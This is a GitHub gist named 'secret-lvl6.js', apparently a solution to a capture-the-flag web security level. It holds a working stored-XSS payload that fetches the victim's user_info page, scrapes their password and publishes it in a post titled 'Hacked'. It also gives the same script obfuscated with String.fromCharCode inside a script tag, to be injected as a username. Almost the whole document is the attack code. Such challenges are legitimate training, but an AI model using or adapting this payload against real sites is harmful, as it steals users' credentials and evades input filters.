Skip to content

Instantly share code, notes, and snippets.

@mediaupstream
Created August 24, 2012 01:42
Show Gist options
  • Select an option

  • Save mediaupstream/3444587 to your computer and use it in GitHub Desktop.

Select an option

Save mediaupstream/3444587 to your computer and use it in GitHub Desktop.
secret-lvl6.js
$.get(window.location.href + 'user_info', function(resp, a){
var dom = $(resp);
var password = $('table tr:eq(1) td', dom).text();
var msg = 'My password is: '+ escape(password);
$('#content').val( msg );
$('#title').val('Hacked');
$('#new_post').submit();
});
// Now we can turn the above into numbers, and this becomes our username:
// <script>eval(String.fromCharCode(36, 46, 103, 101, 116, 40, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 32, 43, 32, 39, 117, 115, 101, 114, 95, 105, 110, 102, 111, 39, 44, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 114, 101, 115, 112, 44, 32, 97, 41, 123, 10, 32, 32, 118, 97, 114, 32, 100, 111, 109, 32, 61, 32, 36, 40, 114, 101, 115, 112, 41, 59, 10, 32, 32, 118, 97, 114, 32, 112, 97, 115, 115, 119, 111, 114, 100, 32, 61, 32, 36, 40, 39, 116, 97, 98, 108, 101, 32, 116, 114, 58, 101, 113, 40, 49, 41, 32, 116, 100, 39, 44, 32, 100, 111, 109, 41, 46, 116, 101, 120, 116, 40, 41, 59, 10, 32, 32, 118, 97, 114, 32, 109, 115, 103, 32, 61, 32, 39, 77, 121, 32, 112, 97, 115, 115, 119, 111, 114, 100, 32, 105, 115, 58, 32, 39, 43, 32, 101, 115, 99, 97, 112, 101, 40, 112, 97, 115, 115, 119, 111, 114, 100, 41, 59, 10, 32, 32, 36, 40, 39, 35, 99, 111, 110, 116, 101, 110, 116, 39, 41, 46, 118, 97, 108, 40, 32, 109, 115, 103, 32, 41, 59, 10, 32, 32, 36, 40, 39, 35, 116, 105, 116, 108, 101, 39, 41, 46, 118, 97, 108, 40, 39, 72, 97, 99, 107, 101, 100, 39, 41, 59, 10, 32, 32, 36, 40, 39, 35, 110, 101, 119, 95, 112, 111, 115, 116, 39, 41, 46, 115, 117, 98, 109, 105, 116, 40, 41, 59, 10, 125, 41, 59));</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment